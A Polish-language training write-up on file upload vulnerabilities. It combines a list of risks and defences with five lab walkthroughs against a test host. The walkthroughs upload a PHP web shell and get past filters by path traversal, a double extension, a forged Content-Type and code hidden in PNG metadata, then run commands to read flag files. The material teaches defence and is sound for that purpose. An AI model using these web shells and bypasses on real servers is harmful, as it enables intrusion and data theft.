Broken Access Control

File Upload

Teoria

    Funkcjonalność uploadu plików może wydawać się prosta, ale kryje mnóstwo zagrożeń – od XSS przez SVG i SSRF, po RCE przez web‑shelle i archiwa. Kluczowe są restrykcyjne reguły, sprawdzanie zawartości pliku, separacja plików od serwera aplikacji oraz usuwanie możliwości XML/IMG exploitów.

    • Zdalne wykonanie kodu (Remote Code Execution – RCE): Jeśli aplikacja pozwala na upload i wykonanie pliku ze złośliwym kodem (np. .php, .jsp), atakujący może przejąć pełną kontrolę nad serwerem.
    • Przechwycenie lub modyfikacja danych: Atakujący może przesłać plik, który nadpisze lub umożliwi dostęp do wrażliwych danych przechowywanych na serwerze (np. konfiguracji, haseł).
    • Cross-Site Scripting (XSS): Poprzez upload plików zawierających skrypt (np. .svg, .html), możliwe jest wykonanie kodu JavaScript w przeglądarce użytkownika.
    • Ataki typu Path Traversal: Błędne przetwarzanie ścieżek może pozwolić na zapis plików w dowolnej lokalizacji serwera lub odczyt poufnych plików.
    • Denial of Service (DoS): Upload bardzo dużych plików może doprowadzić do zapełnienia dysku lub wyczerpania zasobów serwera.
    • Ujawnienie struktury katalogów lub błędów aplikacji: Niewłaściwa obsługa błędów przy uploadzie może ujawnić informacje o systemie plików lub konfiguracji aplikacji.
    • Dostęp do wewnętrznych usług i środowisk: W przypadku uploadu skryptów mogących komunikować się z innymi systemami, możliwe jest prowadzenie dalszych ataków lateralnych w sieci wewnętrznej.
    • Waliduj typy plików po stronie serwera: Akceptuj tylko określone, bezpieczne typy MIME (np. image/png, application/pdf) i weryfikuj je niezależnie od rozszerzenia pliku.
    • Sprawdzaj zawartość pliku (content inspection): Upewnij się, że przesyłane pliki są zgodne ze swoim deklarowanym typem (np. obraz to faktycznie plik graficzny).
    • Blokuj niebezpieczne rozszerzenia: Uniemożliwiaj upload plików o rozszerzeniach takich jak .php, .exe, .jsp, .sh, .bat, .htaccess, .phtml, .html, .svg, itp.
    • Zapisuj pliki w katalogach poza rootem aplikacji (np. /uploads/): Unikaj umieszczania przesyłanych plików w katalogach, które mogą być bezpośrednio wykonywane przez serwer WWW.
    • Nadaj bezpieczne uprawnienia systemowe katalogom uploadu: Katalogi powinny mieć uprawnienia tylko do zapisu/odczytu — bez możliwości wykonania (noexec, nosuid).
    • Losuj nazwy plików: Zamień oryginalne nazwy na losowe identyfikatory, aby uniknąć kolizji nazw i ataków typu path traversal lub overwrite.
    • Stosuj limity rozmiaru i liczby plików: Ogranicz rozmiar każdego pliku oraz liczbę przesyłanych plików, aby chronić serwer przed przeciążeniem.
    • Skanuj pliki pod kątem złośliwego kodu: Używaj silników antywirusowych i systemów DLP do automatycznego badania treści uploadowanych plików.
    • Filtrowanie zawartości HTML i JavaScript: Jeżeli aplikacja umożliwia podgląd pliku, np. obrazów lub dokumentów HTML — stosuj sanitizację i Content Security Policy (CSP), aby zapobiec XSS.
    • Monitoruj i loguj zdarzenia uploadu: Rejestruj informacje o użytkownikach, IP, nazwach plików, czasie przesłania — dla późniejszej analizy incydentów.

Przykłady testów

  1. Zdalne wykonanie polecenia (RCE) przez upload pliku PHP
Example

Zadanie: Wykonanie poleceń systemowych na serwerze poprzez przesłanie i uruchomienie pliku PHP z payloadem.
Szczegółowy opis: Przesłanie pliku shell.php, zawierającego prosty interpreter poleceń systemowych przekazywanych przez parametr x. Dzięki temu możliwe będzie wykonanie poleceń takich jak id oraz cat, co pozwoli na identyfikację uprawnień użytkownika oraz wykonanie dowolnego polecenia systemowego przez URL.


KROK 1: Tworzymy prosty backdoor o nazwie shell.php.

  • 1A. Zaczynamy od utworzenia katalogu roboczym plik o nazwie shell.php:

    bash

    nano shell.php
    
  • 1B. Wklejamy kod. Kod wykonuje każdą komendę systemową przekazaną jako parametr x w adresie URL.:

    bash skrypt

    <?php
    system($_GET["x"]);
    ?>
    

KROK 2: Upload pliku na serwer.

Example

REZULTAT: Aplikacja zaakceptowała i zapisała plik na serwerze. Skrypt najprawdopodobniej został zapisany w tym samym katalogu, w którym działa strona. Większość prostych formularzy uploadu zapisuje pliki w katalogu publicznym serwisu, najczęściej tam, gdzie działa frontend (W tym przypadku: site1/).

KROK 3: Uruchom na serwerze polecenie id, które wyświetla UID, GID i grupy użytkownika, w kontekście którego działa serwer.

url

http://192.168.100.14/site1/shell.php?x=id

shell.php wykonuje polecenie przekazane przez parametr x, ponieważ zawiera: "system($_GET["x"]);"
REZULTAT: Rezultat informuje Cię, że Twoje polecenia są wykonywane w kontekście użytkownika systemowego ch1, który ma UID i GID równe 1001. Wiedząc, że działasz jako ch1, możesz szukać danych należących do tego użytkownika, np. w katalogu /home/ch1/, albo próbować podnieść uprawnienia.
SCREEN: pentest5 - scr3
KROK 4: Enumerację katalogów i plików - używasz zdalnie takich komend jak:

ls /
ls /var/www
ls -la /home
find / -type f 2>/dev/null
  • 4A. Przykład 1: listowanie katalogu głównego:

    url

    http://192.168.100.14/site1/shell.php?x=ls /
    
    SCREEN: pentest5 - scr4
    • 4A. Przykład 2: listowanie katalogu /var/www:

    url

    http://192.168.100.14/site1/shell.php?x=ls /var/www
    
    SCREEN: pentest5 - scr5
  • 4A. Przykład 3: szczegółowe listowanie katalogu domowego:

    url

    http://192.168.100.14/site1/shell.php?x=ls+-la+/home
    
    SCREEN: pentest5 - scr6

Uwaga: Spacje w URL. Jeśli wpisujesz to ręcznie w przeglądarce i nie działa, sprawdź czy:

  • spacje są prawidłowo kodowane jako %20 lub użyj +
  • znak / nie jest przekłamany (niektóre znaki mogą być kodowane przez firewalle lub przeglądarki)
  • Zalecana forma (bezpieczna i poprawna):

    url

    http://192.168.100.14/site1/shell.php?x=ls%20-la%20/home
    


  1. Path Traversal przez upload pliku PHP i wykonanie polecenia systemowego
    Zadanie: Uzyskanie dostępu do pliku systemowego na serwerze poprzez przesłanie pliku PHP i manipulację ścieżką zapisu.
    Szczegółowy opis: W aplikacji podatnej na nieautoryzowany upload plików przesłano plik shell.php zawierający prosty interpreter poleceń systemowych przekazywanych w parametrze x. Ponieważ aplikacja nie ujawniała lokalizacji, w której zapisywane są przesłane pliki, wykorzystano Burp Suite do przechwycenia żądania POST i zmodyfikowania pola filename, dodając sekwencję ../. Taka manipulacja umożliwiła zapis pliku w katalogu nadrzędnym – dostępnym bezpośrednio z poziomu przeglądarki. Po potwierdzeniu istnienia pliku, wykonano zdalnie polecenie cat /flag14.2.txt, uzyskując tym samym zawartość interesującego pliku. Manipulujesz ścieżką, żeby odzyskać kontrolę nad tym, gdzie trafia Twój plik — tak, byś mógł go potem łatwo uruchomić i wykonać polecenia. Bez tej manipulacji plik mógłby wylądować gdzieś, gdzie nie masz do niego dostępu z zewnątrz (np. /tmp/uploads/random123/shell.php).
    KROK 1: Utwórz plik shell.php zawierający kod:

    bash skrypt

    <?php system($_GET["x"]); ?>
    
    KROK 2: Otwórz aplikacje (192.168.100.14/site2/) i przechwyć żądanie POST w Burp Suite podczas uploadu pliku. REZULTAT: Skrypt .php został przesłany pomyślnie. Następnie request został przechwycony w BurpSuite
    SCREEN: task2 - scr1
    SCREEN: task2 - scr2
    KROK 3: W Burpie prześlij request do Repeatera w celu dalszej modyfikacji.
    REZULTAT: Request pomyślnie przesłany
    SCREEN: task2 - scr3
    KROK 4: W Repeaterze zmodyfikuj nagłówek filename, dodając sekwencję ../ aby wymusić zapis w katalogu nadrzędnym i wyślij.
    REZULTAT: Request pomyślnie przesłany. Odpowiedź zawiera komunikat o poprawnym uploadzie pliku.
    SCREEN: task2 - scr3
    KROK 5: Otwórz przeglądarkę (192.168.100.14/site2/shell.php?x=cat%20/flag14.2.txt) aby wykonać polecenie odczytujące zawartość pliku.
    REZULTAT: atakujący skutecznie przesłał i zlokalizował podatny plik shell.php.
    SCREEN: task2 - scr4


  1. Zdalne wykonanie polecenia (RCE) przez obejście filtra białej listy rozszerzeń plików
    Zadanie: Uzyskanie dostępu do systemu i wykonanie poleceń poprzez przesłanie pliku PHP z nazwą zawierającą .png, w celu obejścia filtra białej listy weryfikującego nazwę pliku.
    Szczegółowy opis: Aplikacja umożliwia przesyłanie plików, jednak filtruje nazwy — przepuszczane są jedynie pliki zawierające w nazwie ciąg .png. Wykorzystano tę słabość, tworząc plik shell.php, zawierający prosty interpreter poleceń systemowych (system($_GET["x"])), a następnie zmieniając jego nazwę na shell.png.php. Dzięki obecności ciągu .png walidacja została oszukana, a plik został przesłany i zapisany na serwerze. Po jego uruchomieniu możliwe było wykonanie poleceń, takich jak id czy cat, co pozwoliło na zdalny odczyt pliku systemowego.
    KROK 1: Utwórz plik shell.php zawierający kod:

    bash skrypt

    <?php system($_GET["x"]); ?>
    
    KROK 2: Zmień nazwę pliku, aby zawierała ciąg .png, np.:

    bash

    mv shell.php shell.png.php
    
    REZULTAT: Nazwa zmieniona poprawnie
    SCREEN: task3 - scr1
    KROK 3: Prześlij plik shell.png.php poprzez formularz uploadu.
    SCREEN: task3 - scr2
    REZULTAT: Aplikacja zaakceptowała i zapisała plik na serwerze.


  1. Upload z fałszywym nagłówkiem Content-Type (RCE)
    Zadanie: Przesłać plik PHP i wykonać go na serwerze, omijając filtr, który akceptuje tylko pliki o nagłówku Content-Type: image/png.
    Szczegółowy opis: Na stronie podatnej na nieautoryzowany upload plików zastosowano filtrację po nagłówku Content-Type. Domyślnie serwer akceptuje tylko pliki graficzne, takie jak image/png. W celu obejścia tego zabezpieczenia przesłano plik shell.php, zawierający prosty interpreter poleceń systemowych. W narzędziu Burp Suite nagłówek Content-Type w żądaniu został celowo sfałszowany i ustawiony na image/png, co pozwoliło przejść walidację. Aplikacja nie weryfikowała realnej zawartości pliku, co umożliwiło skuteczne przesłanie złośliwego kodu.
    KROK 1: Utwórz plik shell.php zawierający kod:

    bash skrypt

    <?php system($_GET["x"]); ?>
    
    KROK 2: Otwórz aplikacje i przechwyć żądanie POST w Burp Suite podczas uploadu pliku.
    REZULTAT: Skrypt .php został przesłany pomyślnie. Następnie request został przechwycony w BurpSuite
    SCREEN: task4 - scr1
    SCREEN: task4 - scr2
    KROK 3: W Burpie prześlij request do Repeatera w celu dalszej modyfikacji. W Repeaterze zmodyfikuj content-type i wyślij.
    REZULTAT: Request pomyślnie przesłany. Odpowiedź zawiera komunikat o poprawnym uploadzie pliku.
    SCREEN: task4 - scr3


  1. Zdalne wykonanie polecenia (RCE) przez ukrycie kodu PHP w metadanych pliku graficznego (nagłówku pliku)
    Zadanie: Uzyskanie dostępu do pliku systemowego na serwerze poprzez przesłanie spreparowanego pliku graficznego PNG, który zawiera kod PHP ukryty w metadanych.
    Szczegółowy opis: W aplikacji podatnej na upload plików, która filtruje zawartość na podstawie nagłówków binarnych (tzw. magic bytes), przesłano plik graficzny .png, do którego w metadanych (komentarzu) wstrzyknięto kod PHP. Wykorzystano do tego narzędzie exiftool, które umożliwia osadzenie polecenia systemowego w komentarzu pliku. Następnie plik ten został zapisany z rozszerzeniem .php, co pozwoliło serwerowi go uruchomić. Dzięki temu możliwe było wykonanie polecenia cat /flag14.5.txt i odczyt zawartości pliku. Mimo że plik ma strukturę obrazu, interpreter PHP wykonał ukryty w nim kod.
    KROK 1: Znajdź przykładowy obraz PNG i skopiowanie go:

    bash - wymagany INetSim

    locate png
    cp /var/lib/inetsim/http/fakefiles/sample.png .
    
    Możesz użyć INetSim. To program, który udaje różne serwisy internetowe (np. HTTP, FTP, DNS), żeby symulować prawdziwy Internet w kontrolowanym środowisku. W powyższej ścieżce INetSim trzyma fałszywe (symulowane) pliki, które udostępnia przez swój wbudowany serwer HTTP. Te pliki nie mają żadnej wartości użytkowej (są symulowane), ale spełniają wszystkie wymagania formalne, np. sample.png ma poprawny nagłówek PNG, więc aplikacja go uzna za prawdziwy obraz.
    KROK 2: Dodaj kod PHP do metadanych (komentarza)

    bash

    exiftool -comment='<?php system($_GET["x"]); ?>' image.png
    
    Niektóre aplikacje sprawdzają nagłówek (magic bytes) pliku, by upewnić się, że naprawdę jest np. obrazem PNG. Nie analizują jednak zawartości metadanych ani nie oczyszczają pliku z komentarzy EXIF. Dzięki temu możemy przemycić działający kod PHP wewnątrz pliku graficznego. exiftool to narzędzie służące do odczytu i modyfikacji metadanych plików. -comment='...' oznacza: dodaj komentarz EXIF (czyli ukryte metadane) do pliku. '<?php system($_GET["x"]); ?>' to kod PHP, który zostanie zapisany jako komentarz w pliku graficznym. image.png to plik graficzny, do którego zostanie dodany komentarz.
    SCREEN: task5 - scr1
    KROK 3: Zmień rozszerzenie pliku na .php

    bash

    cp image.png image.php
    
    SCREEN: task5 - scr2
    SCREEN: task5 - scr3
    KROK 4: Prześlij plik sample.php do aplikacji w panelu uploadu.
    SCREEN: task5 - scr4
    KROK 5: Enumerację środowiska.
    http://192.168.100.14/site5/image.php?x=ls%20-la
    http://192.168.100.14/site5/image.php?x=ls
    http://192.168.100.14/site5/image.php?x=pwd
    http://192.168.100.14/site5/image.php?x=id
    http://192.168.100.14/site5/image.php?x=cat%20/flagzHaslem.txt
    


References